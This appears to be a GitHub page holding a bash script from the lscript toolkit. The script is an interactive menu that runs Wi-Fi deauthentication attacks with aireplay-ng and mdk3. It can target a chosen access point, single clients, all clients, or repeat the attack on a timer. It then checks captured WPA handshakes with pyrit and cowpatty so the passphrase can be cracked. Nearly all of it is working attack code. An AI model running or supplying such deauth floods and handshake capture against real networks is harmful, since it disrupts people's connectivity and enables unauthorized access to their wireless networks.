forked from arismelachroinos/lscript
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlh2
347 lines (345 loc) · 7.91 KB
/
lh2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
#! /bin/bash
#############DEFAULTS###############
DPID=$$
echo -e "$DPID" > "$LPATH"/dpid.txt
####################################
printf '\033]2;DEAUTH MENU\a'
k=1
REDEAUTH="n"
WLANNM=$(cat /root/lscript/wlanmon.txt)
export WLANNM
####################################
printf '\033]2;DEAUTH MENU\a'
REDEAUTH="n"
WLANNM=$(cat /root/lscript/wlanmon.txt)
export WLANNM
function defaults_lh2
{
#path for lscript
LPATH="/root/lscript"
export LPATH
#yellow start
YS="\e[1;33m"
#blue start
BS="\e[0;34m"
#color end
CE="\e[0m"
#red start
RS="\e[1;31m"
#black start
BLS="\e[0;30m"
#dark gray start
DGYS="\e[1;30m"
#light blue start
LBS="\e[1;34m"
#green start
GNS="\e[0;32m"
#light green start
LGNS="\e[1;32m"
#cyan start
CYS="\e[0;36m"
#light cyan start
LCYS="\e[1;36m"
#light red start
DRS="\e[0;31m"
#purple start
PS="\e[0;35m"
#light purple start
LPS="\e[1;35m"
#brown start
BRS="\e[0;33m"
#light gray start
LGYS="\e[0;37m"
#white start
WHS="\e[1;37m"
#setting frequent stings
YNYES="("$YS"y"$CE"/"$YS"n"$CE")("$YS"Enter"$CE"=yes)"
YNNO="("$YS"y"$CE"/"$YS"n"$CE")("$YS"Enter"$CE"=no)"
YNONLY="("$YS"y"$CE"/"$YS"n"$CE")"
PAKT="Press "$YS"any key$CE to"
PAKTC="Press "$YS"any key$CE to continue..."
PAKTGB="Press "$YS"any key$CE to go back..."
TNI=""$RS"Tool is not installed. To install it type '"$CE""$YS"install"$CE""$RS"'."$CE""
#code to read from keyboard without return
READAK="read -n 1"
}
function option3
{
while true
do
#~ echo -e "Searching for clients"
if [[ ! -f "$HANDFORDEAUTH" ]]
then
echo -e ""$RS"Error 2"$CE""
sleep 2
break
fi
lines=$(cat $HANDFORDEAUTH | awk 'END{print NR}')
dlines=$((lines-6))
if [[ "$dlines" -le 0 ]]
then
echo -e ""$RS"No clients found (yet)."$CE""
sleep 2
break
fi
clear
echo -e "Found $dlines clients."
sleep 1
n=1
while [[ "$n" -le "$dlines" ]]
do
n1=$((5+n))
station[$n]=$(cat $HANDFORDEAUTH | awk -v nn="$n1" '{FS=","}{if(NR==nn)print $1}')
if [[ "$n" -ge 10 ]]
then
echo -e ""$YS""$n""$CE") "${station[$n]}""
else
echo -e ""$YS" "$n""$CE") "${station[$n]}""
fi
n=$((n+1))
done
echo -e ""$YS" a"$CE") Deauth all clients separately"
echo -e ""$YS" m"$CE") Manually type a MAC to deauth"
echo -e ""$YS" r"$CE") Refresh"
echo -e ""$YS" b"$CE") Go back"
echo -e "Choose: "
read STATION
clear
if [[ "$STATION" = "m" ]]
then
echo -e "MAC to deauth: "
read MACTD
echo -e "Number of deauths to send("$YS"0"$CE"=inf)("$YS"Enter"$CE"=0): "
read DEAUTHS
if [[ "$DEAUTHS" = "" ]]
then
DEAUTHS=0
fi
export DEAUTHS
export TARGB
export MACTD
xterm -geometry 90x15+9999+999999 -e bash -c 'printf "\033]2;DEAUTHING\a" && aireplay-ng -0 $DEAUTHS -a $TARGB -c $MACTD $IGNN $WLANNM && exit; exec bash' & disown
fi
if [[ "$STATION" = "r" ]]
then
clear
continue
fi
if [[ "$STATION" = "a" ]]
then
echo -e "Number of deauths to send("$YS"0"$CE"=inf)("$YS"Enter"$CE"=0): "
read DEAUTHS
if [[ "$DEAUTHS" = "" ]]
then
DEAUTHS=0
fi
n=1
while [[ "$n" -le "$dlines" ]]
do
DSTATION="${station[$n]}"
export DEAUTHS
export TARGB
export DSTATION
xterm -geometry 90x15+9999+999999 -e bash -c 'printf "\033]2;DEAUTHING\a" && aireplay-ng -0 $DEAUTHS -a $TARGB -c $DSTATION $IGNN $WLANNM && exit; exec bash' & disown
n=$((n+1))
done
fi
if [[ "$STATION" = "b" ]]
then
break
fi
if [[ "$STATION" -le "$dlines" && "$STATION" -ge 1 ]]
then
echo -e "Number of deauths to send("$YS"0"$CE"=inf)("$YS"Enter"$CE"=0): "
read DEAUTHS
if [[ "$DEAUTHS" = "" ]]
then
DEAUTHS=0
fi
DSTATION="${station[$STATION]}"
export DEAUTHS
export TARGB
export DSTATION
xterm -geometry 90x15+9999+999999 -e bash -c 'printf "\033]2;DEAUTHING\a" && aireplay-ng -0 $DEAUTHS -a $TARGB -c $DSTATION $IGNN $WLANNM && exit; exec bash' & disown
fi
done
}
function pyrit_hand_check
{
clear
echo -e "Checking handshake with pyrit..."
TEMP=$(pyrit -r "$HANDCAP" analyze 2>/dev/null)
TEMPHAND=$(echo "$TEMP" | grep "No valid EAOPL-handshake + ESSID detected.")
clear
if [[ "$TEMPHAND" = "" ]]
then
VALIDH=1
#TEMPHANDD=$(pyrit -r "$HANDCAP" analyze 2>/dev/null | grep "good")
TEMPHANDD=$(echo "$TEMP" | grep "good")
if [[ "$TEMPHANDD" = "" ]]
then
#TEMPHANDDD=$(pyrit -r "$HANDCAP" analyze 2>/dev/null | grep "bad")
TEMPHANDDD=$(echo $TEMP | grep "bad")
if [[ "TEMPHANDDD" = "" ]]
then
echo -e "Handshake found!(Status: "$RS"unknown"$CE")"
else
echo -e "Handshake found!(Status: "$RS"bad"$CE")"
fi
sleep 2
else
echo -e "Valid handshake found!(Status: "$YS"good"$CE")"
sleep 2
fi
else
VALIDH=0
echo -e ""$RS"No handshake found."$CE""
sleep 2
fi
}
function cowpatty_hand_check
{
clear
echo -e "Checking handshake with cowpatty..."
sleep 1
TEMPHAND=$(cowpatty -c -r "$HANDCAP" | grep "Collected all necessary data to mount crack against WPA2/PSK passphrase.")
clear
if [[ "$TEMPHAND" = "" ]]
then
VALIDH=0
echo -e ""$RS"No handshake found"$CE""
sleep 1
else
VALIDH=1
echo -e ""$YS"Valid handshake found!"$CE""
sleep 2
fi
}
defaults_lh2
if [[ -f "$LPATH"/settings/ignorenegativeone.txt ]]
then
read IGN < ""$LPATH"/settings/ignorenegativeone.txt"
else
IGN="no"
fi
if [[ "$IGN" = "yes" ]]
then
IGNN="--ignore-negative-one"
else
IGNN=""
fi
while true
do
clear
echo -e ""$YS" 1"$CE") Deauth all aireplay-ng"
echo -e ""$YS" 2"$CE") Deauth all mdk3"
echo -e ""$YS" 3"$CE") Deauth client/s aireplay-ng"
echo -e ""$YS" 4"$CE") Deauth all periodically aireplay-ng"
if [[ "$HANDF" != "deauth" ]]
then
echo -e ""$YS" 5"$CE") Check handshake quality"
fi
if [[ "$LASTOPTIONS" != "" ]]
then
echo -e ""$YS"ENTER"$CE") Last option"
fi
echo -e ""$YS" 0"$CE") Exit"
read DT
if [[ "$DT" = 1 ]]
then
PER=0
echo -e "Number of deauths to send("$YS"0"$CE"=inf)("$YS"Enter"$CE"=0): "
read -e DEAUTHS
if [[ -z "$DEAUTHS" ]]
then
DEAUTHS=0
fi
LASTOPTIONS="aireplay-ng -0 $DEAUTHS -a $TARGB $IGNN $WLANNM && exit"
export DEAUTHS
export TARGB
xterm -geometry 90x15+9999+999999 -e bash -c 'printf "\033]2;DEAUTHING\a" && aireplay-ng -0 $DEAUTHS -a $TARGB $IGNN $WLANNM && exit; exec bash' & disown
elif [[ "$DT" == 4 ]]
then
echo -e "Number of deauths per time: "
read DPT
if [[ ! "$DPT" -gt 0 ]]
then
echo -e ""$RS"Invalid number"$CE""
sleep 2
LASTOPTIONS=""
continue
fi
echo -e "Delay in seconds: "
read DIS
if [[ ! "$DIS" -gt 0 ]]
then
echo -e ""$RS"Invalid number"$CE""
sleep 2
LASTOPTIONS=""
continue
fi
export DIS
export DPT
clear
PER=1
LASTOPTIONS="4"
xterm -geometry 90x15+9999+999999 -T "DEAUTHING" -e "while true; do aireplay-ng -0 $DPT -a $TARGB $IGNN $WLANNM; sleep $DIS; done && exit" & disown
elif [[ "$DT" == 5 ]]
then
if [[ "$HANDF" != "deauth" ]]
then
while true
do
clear
echo -e ""$YS" 1"$CE") Check with pyrit"
echo -e ""$YS" 2"$CE") Check with cowpatty"
echo -e ""$YS" b"$CE") Go back"
echo -e "Choose: "
read CHW
if [[ "$CHW" = 1 ]]
then
pyrit_hand_check
elif [[ "$CHW" = 2 ]]
then
cowpatty_hand_check
elif [[ "$CHW" = "b" ]]
then
clear
break
fi
done
fi
elif [[ "$DT" == "" ]]
then
if [[ "$HANDFORDEAUTH" != "" ]]
then
if [[ "$LASTOPTIONS" != "" ]]
then
if [[ "$LASTOPTIONS" = 1 ]]
then
option3
elif [[ "$LASTOPTIONS" = 4 ]]
then
xterm -geometry 90x15+9999+999999 -T "DEAUTHING" -e "while true; do aireplay-ng -0 $DPT -a $TARGB $IGNN $WLANNM; sleep $DIS; done && exit" & disown
else
xterm -geometry 90x15+9999+999999 -e bash -c "$LASTOPTIONS; exec bash" & disown
fi
fi
fi
sleep 2
elif [[ "$DT" = 2 ]]
then
echo "$TARGB" > /root/mdk3bssid.txt
LASTOPTIONS="mdk3 $WLANNM d -b /root/mdk3bssid.txt -c $TARGC"
export DEAUTHS
export TARGB
xterm -geometry 90x15+9999+999999 -e bash -c 'mdk3 $WLANNM d -b /root/mdk3bssid.txt -c $TARGC; exec bash' & disown
elif [[ "$DT" = 3 ]]
then
LASTOPTIONS=1
option3
elif [[ "$DT" = 0 ]]
then
exit
fi
done